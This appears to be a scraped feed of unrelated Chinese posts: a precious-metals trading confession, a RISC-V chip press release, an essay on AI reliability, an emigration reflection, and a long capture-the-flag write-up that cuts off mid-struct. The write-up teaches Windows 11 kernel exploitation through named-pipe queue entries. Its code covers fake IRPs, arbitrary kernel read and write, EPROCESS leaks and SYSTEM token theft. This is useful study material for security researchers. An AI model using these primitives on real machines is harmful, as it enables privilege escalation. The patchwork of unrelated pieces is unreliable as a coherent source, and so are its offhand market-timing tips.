白银现在大约 35 元/克,按我现在的收入折算,大约 150 克白银,大约也即是月俸 3 两白银。

地铁上玩手机的,10 个有 8 个在看财经,还有两个在手机开户,目前看来行情接近见顶,可以逐步止盈了

2026年1月29日,进迭时空正式发布全球首款符合RVA23规范的高性能RISC-V AI CPU芯片K3,标志着RISC-V架构在高性能和AI计算领域的进程迈出关键一步。与此同时,OpenAtom openKylin(简称“openKylin”)已同步完成openKylin操作系统对K3芯片的深度适配与全面支持,构建RISC-V RVA23版本,实现软硬件协同优化,充分释放芯片核心算力,为相关行业应用落地筑牢生态底座。

 作为openKylin社区深度合作伙伴,进迭时空与openKylin长期以来秉持“共筑RISC-V生态底座”的核心目标,在RISC-V内核优化、AI软件栈融合、编译器适配等关键技术领域开展全方位深度合作,携手推RISC-V软硬件生态的协同创新与成熟完善。此次双方的适配合作,重点攻克了RVA23指令集的新特性融合与高性能异构调度难题:

  • RVA23 规范深度优化:充分利用RVA23配置文件中的关键特性(如 Vector 1.0 矢量扩展、位操纵扩展等),openKylin针对K3芯片的8核架构进行了全面的编译优化和支持。
  • 深度适配AI硬件加速:针对K3芯片自带的强大AI算力,openKylin通过优化底层驱动,实现了图像识别、语音处理等AI应用在openKylin上运行更加流畅,显著降低了计算延迟,让芯片的AI性能得到充分发挥。
  • 驱动与外设全面兼容:完成了包括高性能GPU加速驱动、高速网络接口及各类通用外设接口的标准化适配。通过openKylin的设备驱动框架,实现了“开箱即用”的用户体验,确保了K3芯片在各类工业、桌面及具身智能场景下的平滑部署。

     未来,openKylin将持续深化与进迭时空等硬件厂商的合作,聚焦RISC-V内核优化、AI软件栈完善等核心方向,加速构建开放、繁荣、标准化的RISC-V生态体系,通过开源生态力量推动RISC-V技术从基础适配迈向产业级应用,为全球开源生态贡献中国智慧。 

这周一开盘就 all in 了所有能用的钱到金、银、铜了。在这一周里,我是买了卖、卖了买、小 T 做大 T 、大 T 做小 T 。每一次的操作第二天都会可能迎来暴跌。但很幸运,这一周金、银、铜已经涨📈麻了,我也赌赢了。我不懂技术分析、也不懂市场行情,只懂一些股票规则。这周里,给我的感觉很刺激,比做过山车还刺激。睡觉时,脑子里面都是涨停板,睡前运动也戒掉了,我想我已经是一个赌徒了。唯一理智一点的地方,就是大不了输完,潇洒离场。今天是周五,也是这周股市的最后一天,无论股市是涨还是跌,我都可以选择出掉,然后拿钱离场。但我已经做不到了,我的理智告诉感性的我,就算今天潇洒离场,总有一天我还是会回来。

2026 年正在成为人工智能发展史上的一个分水岭。 当 AI 从实验性工具进入基础设施级应用,其价值判断标准正在发生根本变化:从制造惊喜,转向减少意外。

过去,生成式 AI 的吸引力来自不可预测的输出与偶发的“超预期表现”;而在今天的生产环境中,不确定性本身正在被重新定义为系统性风险。

一、核心转向:从“概率系统”到“确定性系统”

在金融清算、医疗辅助、工业控制等高风险场景中,哪怕 1% 的随机偏差,都可能被放大为连锁错误。因此,AI 的设计目标正在从“概率最优”转向“结果可控”。

确定性预期成为关键指标: 在给定输入条件下,系统输出的范围必须稳定、可预测、可解释。AI 不再被期待“灵光一现”,而是像工业组件一样可靠运行。

这也推动了模型设计范式的变化—— 相比单纯扩大参数规模,行业更关注推理路径是否可追溯、逻辑链是否可验证。

二、幻觉问题的工程化处理

随着 AI 被直接接入业务系统,事实性错误不再只是体验问题,而是合规与责任问题。

当前主流方案并非“消灭幻觉”,而是压缩幻觉发生的概率区间

  • 强制外部知识检索作为事实锚点
  • 通过逻辑链校验降低推理跳跃
  • 利用结构化知识图谱限制无依据生成

智能体来了,模型已经不只是输出文本,而是触发动作指令,这使得幻觉收敛成为系统级要求,而非模型能力的附属指标。

三、防御性设计成为默认配置

AI 正在从“被动响应”走向“主动判断”。

在架构层面,引入防御性设计已成为行业共识: 系统需要具备识别风险、拒绝越权、回避逻辑冲突的能力。

这意味着:

  • 知识边界被明确设定
  • 权限边界被系统性约束
  • 高风险指令不再依赖事后审计,而是在执行前被阻断

AI 的成熟,不在于它能回答多少问题,而在于它清楚哪些问题不能回答。

四、工程实践中的三大稳定性支柱

1. 闭环监控与自动降级 当模型置信度低于阈值,系统会主动切换至人工或规则引擎,避免错误被放大。

2. 对抗性测试常态化 通过大规模压力注入,在上线前主动制造极端场景,以验证系统边界。

3. 多模态交叉验证 不同模型、不同模态对同一结论进行相互校验,只有在达成一致时才执行最终决策。

五、可靠性建设的四个关键维度

  • 逻辑一致性:控制随机性,锁定推理路径
  • 事实锚定:强制外部数据校验
  • 合规过滤:多层输出审查机制
  • 故障自愈:错误可追溯、可回滚

这些机制的共同目标只有一个: 把不可预测性,限制在系统可承受范围内。

结语:AI 信任治理的新阶段

2026 AI 元年的本质,不是能力跃迁,而是信任重构。

当 AI 不再追求令人惊叹的表现,而是稳定履行承诺,它才真正具备进入关键行业的资格。 技术的成熟,体现在“知道不该做什么”。 减少意外,并非保守,而是走向规模化应用的前提。

前两天在 linkedin 收到一个 connection 邀请,发送邀请的是一个即将从奥克兰大学毕业,正在找工作的中国人。他在邀请里说前几年在 v2 看到我 19 年发布的这篇分享自己移民新西兰经历的主题 https://www.v2ex.com/t/629329 ,现在自己也来新西兰了,所以想在 linkedin 上 Connect 一下。

19 年发布那篇主题后,通过 linkedin 和微信联系过我的人大概有块 200 人了。但是这么多年过去了,这些人里面实际润到新西兰或者其他发达国家的人加起来不到 10 个。这几个人其中大部分都是在看到我这篇主题前就有润的想法了,去掉这些剩下的因为看了我的分享决定润的人也就 2 ~ 3 个的样子。从比例上看,受我那篇主题影响最后真正成功润出来的人数比例也就 2%左右。

之前分享自己经历的时候,觉得润这件事并不算特别难。但是根据上面的数据,润这件事的难度其实没比在国内挤进 985 的难度低多少。

借助0ctf 2025 babyfilter 这道题,学习最新版的Windows 11 25h2 下的内核利用技巧

Windows 11 25H2 下 内核利用技巧

在 Windows 11 25H2的场景下,有一些利用技巧发生了变化,其中最重要的就是 NtQueryInformationSystem 这类泄露技巧不再能使用。

image.png

在过去,很多的EXP利用的时候,往往需要得知内核中特定对象的地址,再通过这个地址对指定对象进行修正。再失去这个API之后,有些攻击手段就不能使用了。

在这种场景下,我们需要寻找一种能够再触发漏洞的场景中,也能所以进行WWW(Write-What-Where) 的利用手段。在本文,我们学习这里提到的使用Windows 中 Pipe 对象进行漏洞利用,实现在不使用NtQuery的场景下进行漏洞利用

利用场景

Pipe的使用场景如下

使用条件:

(1)能够创建命名Pipe对象的权限
(2)存在一个能够UAF/越界写的能力

利用思路:

通过越界写/UAF,在Pipe的DQE列表中的一个对象的完整控制权,之后利用其中的IRP对象,实现读写原语构造。

效果:

能够伪造IRP地址 -> 任意读
任意读+写入真实IRP对象内容后,控制伪造IRP -> 任意写

利用技巧介绍

在了解利用前,我们需要了解Windows的Pipe对象在内存中是怎么样子存放和工作的。

PIPE

命名管道在创建的时候,一般会有一个服务端和一个客户端。一般创建的时候,都是使用类似

    ph->Write = CreateNamedPipeW(
        L"\\\\.\\pipe\\exploit_cng",
        PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        quota,
        0,
        0,
        0);

这种代码负责创建。此时这一段的Pipe为服务端的写入端。一般使用的时候,对应的还有一个客户端,使用CreateFile进行连接:

ph->Read = CreateFile(L"\\\\.\\pipe\\exploit_cng", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
DWORD written;

在我们做利用的时候,通常是需要我们同时打开读写双端的pipe。当我们创建一个Pipe的时候,在内核会创建一个对应的Context Control Block (CCB)对象(下文我们直接用CCB或者Block描述这个对象)。这个对象结构体记录了Pipe这种C/S结构下需要保持的一些成员信息:

struct DATA_QUEUE_ENTRY {
    LIST_ENTRY NextEntry;
    _IRP* Irp;
    _SECURITY_CLIENT_CONTEXT* SecurityContext;
    uint32_t EntryType;
    uint32_t QuotaInEntry;
    uint32_t DataSize;
    uint32_t x;
    char Data[];
}

这个结构体是没有导出的,所以不能用windbg进行检查。这个结构体主要是由驱动npfs进行实现的。在有些PoC或者头部文件中,这个结构体也被称之为NP_DATA_QUEUE_ENTRY。他们本质上是同一个对象。之后我们可能会用DQE来简称这个CCB中的对象。

为了能够稳定的申请指定大小的内存,我们需要准确的计算当前需要的池大小,通常满足这样的数学关系:

#define TARGET_CHUNK_SIZE 0x1000
#define SPRAY_SIZE (TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY))

不过,实际上我们申请的时候:

ph->Write = CreateNamedPipeW(
    L"\\\\.\\pipe\\exploit_cng",
    PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    PIPE_UNLIMITED_INSTANCES,
    quota,
    0,
    0,
    0);

此处的quote通常为TARGET_CHUNK_SIZE,这里只是用于标记我们的pipe需要存放的最大数据。在这之后,我们需要调用Write操作:

BYTE spray_data[SPRAY_SIZE];
memset(spray_data, 'X', sizeof(spray_data));

if (!WriteFile(ph->Write, spray_data, sizeof(spray_data) - 16, &written, nullptr)) {
    printf("failed to write pipe: %lu", GetLastError());
    CloseHandle(ph->Read);
    CloseHandle(ph->Write);
}

这个时候,程序才会真正的创建一个DQE,用于存放我们这一次需要写入Pipe的数据的基本信息。这里的SPRAY_SIZE就是之前计算过的,用TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY)计算出来的数据大小(再减去16,也就是池头部大小)

Data Queue Entry

这里我们简单介绍一下DQE中各个比较关键结构的相关属性

NextEntry

在内存中,不同的DQE会使用链表结构进行串联:

DQE1.png

在我们调用WriteFile的时候,就创建一个Entries。而如果当一个Entries中的数据被ReadFile读完了,就会将这个对象从双向链表中去掉。

EntryType

在Pipe中,存在两种类型的实例:缓存对象(Buffered Entries)和非缓存对象(Unbuffered Entries),这个就是使用EntryType进行存储。

缓存对象 Buffered Entries

正如结构体所示:

struct DATA_QUEUE_ENTRY {
    LIST_ENTRY NextEntry;
    _IRP* Irp;
    _SECURITY_CLIENT_CONTEXT* SecurityContext;
    uint32_t EntryType;
    uint32_t QuotaInEntry;
    uint32_t DataSize;
    uint32_t x;
    char Data[];
}

需要存放在Pipe中的数据会被直接存放在Data数据中:

DQE2.png

常见的CreateNamedPipeW创建的正是这种DQE,这种时候我们使用WriteFile写入的数据就会放在Data中。

非缓存对象 UnBuffered Entries

当我们使用APINpInternalWrite(这个API不能直接使用)进行Pipe写入的时候,会导致分配一个非缓存的DQE。此时操作系统会多分配一个IRP交给这个对象:

DQE3.png

此时,这个IRP描述的是【一个暂时未写完的数据】,用于存放此时用户态未能及时传入到内核态的数据。

想要申请这样的对象,可以使用

NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, target_buffer, target_size, 0, 0);

这样的方式进行内存分配。这种分配方式的好处在于,可以控制一个完全由用户可控的内存空间,其中

  • target_buffer 为希望控制的内存空间内容
  • target_size 为希望分配的内存大小
IRP

正如前面提到的,IRP用于存放一个用户态未能及时传入内核态的数据。它的结构如下

0: kd> dt _IRP
ntdll!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 AllocationProcessorNumber : Uint2B
   +0x006 Reserved1        : Uint2B
   +0x008 MdlAddress       : Ptr64 _MDL
   +0x010 Flags            : Uint4B
   +0x014 Reserved2        : Uint4B
   +0x018 AssociatedIrp    : <unnamed-tag>
   +0x020 ThreadListEntry  : _LIST_ENTRY
   +0x030 IoStatus         : _IO_STATUS_BLOCK
   +0x040 RequestorMode    : Char
   +0x041 PendingReturned  : UChar
   +0x042 StackCount       : Char
   +0x043 CurrentLocation  : Char
   +0x044 Cancel           : UChar
   +0x045 CancelIrql       : UChar
   +0x046 ApcEnvironment   : Char
   +0x047 AllocationFlags  : UChar
   +0x048 UserIosb         : Ptr64 _IO_STATUS_BLOCK
   +0x048 IoRingContext    : Ptr64 Void
   +0x050 UserEvent        : Ptr64 _KEVENT
   +0x058 Overlay          : <unnamed-tag>
   +0x068 CancelRoutine    : Ptr64     void 
   +0x070 UserBuffer       : Ptr64 Void
   +0x078 Tail             : <unnamed-tag>

这里需要注意几个关键成员变量:

  • AssociatedIrp:这个是IRP用于存放来自用户态的数据的关键变量之一。不同类型的IRP请求中,这个成员变量的含义会有所不同,它本质为一个Union为 cpp union { struct _IRP *MasterIrp; __volatile LONG IrpCount; PVOID SystemBuffer; } AssociatedIrp;

    在我们这次讨论的上下文中,这里取值为AssociatedIRP.SystemBuffer,后文我们也用SystemBuffer指代这个成员变量
    - ThreadListEntry:当前的IRP指向的Thread所在的一个链表,它指向发起该 I/O 请求的线程(ETHREAD)。。实际上,每一个IRP会和一个线程高度绑定。当一个线程结束的时候,对应的IRP也会结束。下文我们详细介绍。

所以如果我们的PIPE中的数据足够小,能够一次性被读完的时候,IRP这个对象是不存在的。只有满足下面两个条件之一,Windows在会在DQE中存入一个IRP

  • 当前申请的DQE为非缓存对象(这代表这个Pipe对象不会被当即读完)
  • 当前写入的内存超过了一个Pipe能够存放的最大数据(也就是Pipe中还有其他需要被写入的数据)

实际上,当我们利用的时候,这两个特性都会用到

QuotaInEntry

用于描述当前定额的内存中还有多少剩余。对于一个非缓存对象,这个值为0,对于缓存对象,这个值最初会和我们说到的DataSize一样大, 然后随着对Pipe的读取,逐渐减少为0

DataSize

存放了当前Pipe中能够存放的用户数据的最大长度。

利用原语

接下来,我们会介绍如何利用上述的PIPE构造平时利用时可能用到的原语。

非分页池风水

这些Pipe使用的都是非分页池,这些池在进行风水的时候,一般有两个思路:

  • 使用缓存内存。这种时候我们通常使用CreateNamedPipe+WriteFile的形式进行DQE的分配,不过这个时候分配的内存大小需要为target_size - sizeof(DATA_QUEUE_ENTRY)
  • 使用非缓存内存。这个时候我们通常直接使用NtFsControlFile进行风水

不过一般来说,大家还是偏爱使用前面那种方式进行风水,因为使用起来相对简单。

任意地址读

当我们尝试使用PeekNamedPipe(注意不是ReadFile)去读取一个Pipe对象的时候,程序会尝试获取当前Pipe中的数据(但是并不是真正意义上从Pipe中将数据读取出来),这一步仅仅是获取了Pipe中的数据,所以可以理解成是一个只读的行为。

在这个过程中,操作系统会根据DQE的属性EntryType,决定我们此时要读取的内存地址是来自于IRP,还是紧跟着DQE的缓存区。当我们的内存地址为非缓存对象的时候,操作系统获取数据会来自于IRP中存放的SystemBuffer(也就是AssociatedIRP)的地址

DQE3.png

所以这里有一个简单的做法就是:我们伪造一个假的FakeIRP,并且在这个FakeIRP中指向一个我们想要读取的内存地址target_addr,同时我们利用漏洞,将当前的DQE修改成EntryType=Unbuffered(1),那么此时,当我们调用PeekNamedPipe的时候,系统就会尝试从FakeIRP->SystemBuffer中读取数据,并且还给PeekNamedPipe读出的buffer中,从而造成一个任意地址读:

DQE4.png

之后,我们就能够尝试进行关键地址的泄露了。而这个FakeIRP,完全可以来自用户态:

void ReadMem(HANDLE port, PIPE_HANDLES* pipes, uint64_t addr, size_t len, unsigned char* data) {
    static char* buf = (char*)malloc(TARGET_CHUNK_SIZE + 1);
    memset(buf, 0, TARGET_CHUNK_SIZE + 1);
    DWORD read;
    DATA_QUEUE_ENTRY dqe;
    ReadDataFromGMSG((unsigned char*)&dqe, sizeof(DATA_QUEUE_ENTRY));
    IRP fakeIRP = { 0 };
    fakeIRP.AssociatedIrp = (void*)addr;
    DATA_QUEUE_ENTRY fakeNP = dqe;
    fakeNP.Irp = (IRP*)&fakeIRP;
    fakeNP.EntryType = 1;
    fakeNP.SecurityContext = 0;
    fakeNP.QuotaInEntry = 0;
    fakeNP.DataSize = len;

    CallFilterComm(EDIT_BLOCK, sizeof(fakeNP), (unsigned char*)&fakeNP);
    DWORD dwLen = 0;

    // PrepareDataEntryForRead(dqe, (IRP*)(USER_DATA_ENTRY_ADDR + 0x1000), addr);
    PeekNamedPipe(pipes->Read, data, len, &dwLen, 0, 0);
    CallFilterComm(EDIT_BLOCK, sizeof(dqe), (unsigned char*)&dqe);
}

如上,我们只需要构造一个来自用户态的FakeIRP,然后将其传递给我们内核的一个DQE对象中,再通过漏洞的形式,将这个修改后的DQE篡改内核的DQE中,即可实现任意地址读。

泄露关键 EPROCESS

假设我们此时失去了NtQueryInformationSystem这个利器,那此时意味着我们需要寻找其他的API进行泄露。

一个最简单拿的方法就是利用前文提到的IRP。正如我们前面介绍的,IRP本质上是和线程高度绑定的。每一个线程会记录当前线程中还有多少个未完成的IRP,同样的,每一个IRP都会拥有一个成员变量ThreadListEntry,记录当前IRP由哪些线程管理。这个结构体是一个“嵌入在 IRP 里的 LIST_ENTRY”

0: kd> dt _IRP
ntdll!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 AllocationProcessorNumber : Uint2B
   +0x006 Reserved1        : Uint2B
   +0x008 MdlAddress       : Ptr64 _MDL
   +0x010 Flags            : Uint4B
   +0x014 Reserved2        : Uint4B
   +0x018 AssociatedIrp    : <unnamed-tag>
   +0x020 ThreadListEntry  : _LIST_ENTRY
   +0x030 IoStatus         : _IO_STATUS_BLOCK
   +0x040 RequestorMode    : Char
   +0x041 PendingReturned  : UChar
   +0x042 StackCount       : Char
   +0x043 CurrentLocation  : Char
   +0x044 Cancel           : UChar
   +0x045 CancelIrql       : UChar
   +0x046 ApcEnvironment   : Char
   +0x047 AllocationFlags  : UChar
   +0x048 UserIosb         : Ptr64 _IO_STATUS_BLOCK
   +0x048 IoRingContext    : Ptr64 Void
   +0x050 UserEvent        : Ptr64 _KEVENT
   +0x058 Overlay          : <unnamed-tag>
   +0x068 CancelRoutine    : Ptr64     void 
   +0x070 UserBuffer       : Ptr64 Void
   +0x078 Tail             : <unnamed-tag>

操作系统用来把 IRP 挂到发起它的线程(ETHREAD)上

IRP->ThreadListEntry

关系大概是

EPROCESS
 └── ThreadListHead
      └── ETHREAD
           └── IrpList   <──────────────┐
                ▲                       │
                │                       │
           IRP.ThreadListEntry ─────────┘

每一个线程的 ETHREAD 结构中都有一个链表头 IrpList,记录了该线程当前所有 Pending(挂起)的 IRP

所以,只要我们能够拿到一个真实存在的IRP,我们就能利用这个IRP,将ETHREAD对象泄露出来,而ETHREAD对象中,又存放了KPROCESS的地址:

0: kd> dt _KTHREAD Process
ntdll!_KTHREAD
   +0x220 Process : Ptr64 _KPROCESS

(在操作系统中,_E开头的结构体中通常包含了一个_K开头的结构体作为首个成员变量。例如_ETHREAD的第一个成员就是_KTHREAD Tcb

利用上述的技巧,我们就能完成针对EPROCESS的完整泄露,这之后就能够泄露Token所在的地址。

获取真正的IRP

然而,再前面,我们只是伪造一个IRP,所以不存在这些数据。为了得到这个IRP,代码通常会这样做:

程序会先使用多线程,异步的运行一个写入动作

DWORD WINAPI CreateIRPThread(void* arg) {

    PIPE_HANDLES* victim_pipe = (PIPE_HANDLES*)arg;
    DWORD res;
    char buf[0x1000] = { 0 };
    memset(buf, 'Z', sizeof(buf));
    printf("prepare write buffer to create irp\n");
    WriteFile(victim_pipe->Write, buf, 0x1000, &res, NULL);

    Sleep(-1);
    return 0;
}

void main()
{

    /// skip code
    CreateThread(NULL, 0, CreateIRPThread, &victim_pipes[dwIdx], 0, NULL);
    Sleep(2000);

    /// here we will try to leak IRP
}

这里我们通过Sleep(-1)永久的暂停了这个IRP的动作,从而防止线程关闭导致IRP的消失。在我们进行风水占坑,然后未进行任何操作之前,内存的布局大多数是这样的:

DQE5.png

在这个操作之后,我们的Pipe Queue中会被塞入一个拥有真正IRP的对象:

DQE6.png

获取到IRP之后,我们再使用之前创建的任意地址读原语,顺着我们之前的DQE.NextEntry.Flink双向链表搜索,找到这个存放了IRP的目标Block。

    DATA_QUEUE_ENTRY* nowChunk = (DATA_QUEUE_ENTRY*)LeakBuf;
    printf("Now leak address 0x%llx\n", nowChunk->Flink);
    DATA_QUEUE_ENTRY nextChunk = { 0 };
    ReadMem(g_hPort, &victim_pipes[dwIdx], nowChunk->Flink, sizeof(DATA_QUEUE_ENTRY), (unsigned char*)&nextChunk);
    printf("nextChunk.Flink 0x%llx\n", nextChunk.Flink);
    printf("nextChunk.Blink 0x%llx\n", nextChunk.Blink);
    printf("now leak nextChunk.Irp is %p\n", nextChunk.Irp);

任意地址写

与任意地址读相比,写就要稍微复杂一点。因为写不能像读那样,伪造一个DQE,让系统以为我们的申请缓存对象为非缓冲对象,从而利用IRP实现任意地址写。

我们实现写入操作的时候,利用的是从Pipe中读取数据的ReadFile,这个动作最终会做一个类似这样的动作

memcpy(IRP->UserBuffer, IRP->Associated.SystemBuffer, len);

我们可以利用这一点来实现任意地址写。

然而,这个动作和之前的PeekNamedPipe不同,这涉及到Pipe中数据变化,不是在npfs中进行检查,导致这个过程中存在非常多对IRP的check,所以我们就不能像之前那样简易的随意塞入参数,从而伪造一个FakeIRP,而是必须要通过创建一个拥有真正IRP的无缓冲对象,同时拷贝真正的IRP,通过修改它来实现这个操作。

伪造IRP

在我们任意地址读的实现过程中,我们获取了真正的IRP,于是在这里我们可以借助之前的IRP完成数据拷贝和伪造。在这个伪造过程中,我们需要尽可能地保留其中的源数据,所以一般会直接将数据传递过去,例如

unsigned char IrpBuffer[0x100] = { 0 };
IRP* nextIrp = (IRP*)IrpBuffer;
ReadMem(g_hPort, &victim_pipes[dwIdx], (unsigned long long)nextChunk.Irp, sizeof(IrpBuffer), (unsigned char*)&IrpBuffer);
WriteMem(g_hPort, &victim_pipes[dwIdx], 
    IrpBuffer, sizeof(IrpBuffer),
    _KPROCESS_SYSTEM + c_offsets[g_setoff][EPROCESS_TOKEN], //SYSTEM_TOKEN,
    _KPROCESS_CURRENT + c_offsets[g_setoff][EPROCESS_TOKEN], 
    sizeof(SYSTEM_TOKEN));

这一次的伪造,我们需要考虑以下因素:

(1)由于当我们完成任意地址写的时候,IRP会被释放,所以我们需要一个真正的内核地址存放这个伪造的IRP,为了完成这个目的,这里可以使用无缓存内存空间。因为这个对象会创建一个存放用户可控数据的,内核池数据(正如前面介绍的那样,无缓存对象的可控数据放在一个单独的池内)所以我们这里可以通过这个API来存放伪造的IRP

void PrepareWriteIRP(IRP* irp, PVOID thread_list, PVOID source_address, PVOID destination_address) {
    irp->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
    // irp->Flags = 0x60850;
    irp->AssociatedIrp = source_address;
    irp->UserBuffer = destination_address;
    irp->ThreadListEntry.Flink = (LIST_ENTRY*)(thread_list);
    irp->ThreadListEntry.Blink = (LIST_ENTRY*)(thread_list);
}

uint64_t thread_list[2];
PrepareWriteIRP((IRP*)fakeIrp, (void*)thread_list, (PVOID)src_addr, (PVOID)dst_addr);

NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, fakeIrp, 0x1000, 0, 0);

这里的fakeIRP就是我们存放的一个被伪造的IRP。

(2)此时的IRP会有很严格的Check,包括对ThreadListEntry的检查,所以我们这里同样需要一个真正的ThreadListEntry对象。关于这个对象,我们可以直接使用在无缓冲对象中存放的IRP->ThreadEntryList,这个链表正好是真实的,这里假定我们将这个内存对象拷贝到了我们伪造的IRP,于是我们只需要保证ThreadListEntry.Flink->Blink==ThreadListEntry.Blink->Flink==&FakeIRP->ThreadListEntry,这样正好把自己从链表中摘了出去。

注意坑点
(3)上述结构体的最后Tail实际上是一个联合体,里面有很多在调用过程中会用到的参数,并且在IRP后还紧跟着IO_STACK_LOCATION相关数组。实际上,一般来说,sizeof(IRP)的大小正好就是0xb8,在笔者调试的时候发现,在IRP+0xB8的位置正好存放了一个IO_LOCATION_STACK对象,但是Windows结构体中没有给出说明。这段汇编为

    /*
    * CONTEXT:  fffff40373c44b60 -- (.cxr 0xfffff40373c44b60)
    rax=0000000000000003 rbx=0000000000000000 rcx=ffffe106e7843000
    rdx=0000000000000002 rsi=ffffe106e7843000 rdi=0000000000000001
    rip=fffff801c77217bb rsp=fffff40373c45590 rbp=fffff40373c45690
     r8=0000000000000002  r9=0000000000000001 r10=fffff801c7721700
    r11=0000000000000000 r12=0000000000000002 r13=0000006c6defdc80
    r14=0000000000000000 r15=ffffe106e1aeddb0
    iopl=0         nv up ei pl zr na po nc
    cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
    nt!IopfCompleteRequest+0x7b:
    fffff801`c77217bb 803b16          cmp     byte ptr [rbx],16h ds:002b:00000000`00000000=??
    Resetting default scope

    PROCESS_NAME:  BabyfilterPoC.exe

    fffff801`c772179f 488b99b8000000  mov     rbx,qword ptr [rcx+0B8h]
    rcx = IRP

    that's mean rcx=0xb8 is very important
    0: kd> dps 0xffffbb8b91445bb0+0xb8
        ffffbb8b`91445c68  ffffbb8b`91445cc8
        ffffbb8b`91445c70  ffffbb8b`9257eb50
    */

所以,在实际进行IRP伪造的时候,建议直接多拷贝一些内容,例如

unsigned char IrpBuffer[0x100] = { 0 };
IRP* nextIrp = (IRP*)IrpBuffer;
ReadMem(g_hPort, &victim_pipes[dwIdx], (unsigned long long)nextChunk.Irp, sizeof(IrpBuffer), (unsigned char*)&IrpBuffer);

保证之后伪造的时候,也能够得到完整的数据。

伪造DQE

当我们准备好一个IRP之后,我们还需要一个能够将我们修改后的IRP写入。显然在拥有任意地址写之前,我们只能有一个可被我们控制的DQE对象(也就是我们漏洞所在的那个DQE)。于是我们可与按照任意地址读的方式,修改这个DQE也为无缓存对象,不过这一次我们写入的是一个被我们精心伪造过的,存在内核态的一个IRP,从而保证后续漏洞利用的触发:

DQE7.png

具体写什么?

这里具体来说,我们仍然可以用非常经典的修改TOKEN的策略,也就是通过任意地址读,找到SYSTEEM进程的TOKEN地址,并且将其写入当前EPROCESS的TOKEN位置,即可完成漏洞攻击。

实战:Babyfilter

这个题给了一个简单的Minifilter,可以让不熟悉MiniFilter的同学了解这类驱动。同时也给出了在Windows 11下,条件竞争漏洞的利用技巧,考察点比较新颖

题目分析

题目说明如下:

qemu + win11 26200.7462

get SYSTEM and read c:\flag.txt

nc 202.120.7.13 58390

pnputil /add-driver babyfilter.inf /install

sc start babyfilter

fltmc attach babyfilter c:

通过后三条,我们可以知道目标程序为MiniFilter,并且知道了安装方式。于是我们可以先装一个新版的Windows11,并且将对应的安装办法整理成脚本,作为测试环境。

MiniFilter

这个驱动又可以叫做文件系统过滤驱动(File System Filter Driver),这类驱动的特点是,它会挂载在IO管理器下,能够以更加轻便的方式对IO请求进行拦截和修改

这类驱动在与用户态通信的时候,通常使用的是

NTSTATUS FLTAPI FltCreateCommunicationPort(
  PFLT_FILTER            Filter,
  PFLT_PORT              *ServerPort,
  POBJECT_ATTRIBUTES     ObjectAttributes,
  PVOID                  ServerPortCookie,
  PFLT_CONNECT_NOTIFY    ConnectNotifyCallback,
  PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
  PFLT_MESSAGE_NOTIFY    MessageNotifyCallback,
  LONG                   MaxConnections
);

这个API创建的端口。这个端口的属性通常会放在ObjectAttributes这个属性里面,包括用户态可以与之通信的端口名字。例如:

    UNICODE_STRING portName = RTL_CONSTANT_STRING(L"\\MyFilterPort");
    PSECURITY_DESCRIPTOR sd;
    FltBuildDefaultSecurityDescriptor(&sd, FLT_PORT_ALL_ACCESS); // 设置权限

    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, &portName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, sd);

    FltCreateCommunicationPort(
        gFilterHandle,
        &gServerPort,
        &oa,
        NULL,
        MyConnectNotify,    // 连接回调
        MyDisconnectNotify, // 断开回调
        MyMessageNotify,    // 收到消息回调
        1                   // 最大并发连接数
    );

这里的回调函数也很关键。当我们尝试与Minifilter进行连接建立、断开以及消息发送的时候,就会分别触发这几个回调函数。其中如果需要触发收到消息的回调,需要用户态使用

HRESULT FilterSendMessage(
  [in]           HANDLE  hPort,
  [in, optional] LPVOID  lpInBuffer,
  [in]           DWORD   dwInBufferSize,
  [out]          LPVOID  lpOutBuffer,
  [in]           DWORD   dwOutBufferSize,
  [out]          LPDWORD lpBytesReturned
);

来触发对应的回调函数。

同时,第一个参数gFilterHandle表示的是当前MiniFilter总共注册了哪些回调。这个注册过程为

CONST FLT_REGISTRATION reg = {

    sizeof( FLT_REGISTRATION ),         //  Size
    FLT_REGISTRATION_VERSION,           //  Version
    0,                                  //  Flags

    NULL,                               //  Context
    NULL,                               //  Operation callbacks

    NullUnload,                         //  FilterUnload

    NULL,                               //  InstanceSetup
    NullQueryTeardown,                  //  InstanceQueryTeardown
    NULL,                               //  InstanceTeardownStart
    NULL,                               //  InstanceTeardownComplete

    NULL,                               //  GenerateFileName
    NULL,                               //  GenerateDestinationFileName
    NULL                                //  NormalizeNameComponent

};

FltRegisterFilter(DriverObject, &reg, &gFilterHandle);

我们通过填写一个FLT_REGISTRATION的结构体,完成对应回调实体的属性设置。这个属性具体如下:

typedef struct _FLT_REGISTRATION {
  USHORT                                      Size;
  USHORT                                      Version;
  FLT_REGISTRATION_FLAGS                      Flags;
  const FLT_CONTEXT_REGISTRATION              *ContextRegistration;
  const FLT_OPERATION_REGISTRATION            *OperationRegistration;
  PFLT_FILTER_UNLOAD_CALLBACK                 FilterUnloadCallback;
  PFLT_INSTANCE_SETUP_CALLBACK                InstanceSetupCallback;
  PFLT_INSTANCE_QUERY_TEARDOWN_CALLBACK       InstanceQueryTeardownCallback;
  PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownStartCallback;
  PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownCompleteCallback;
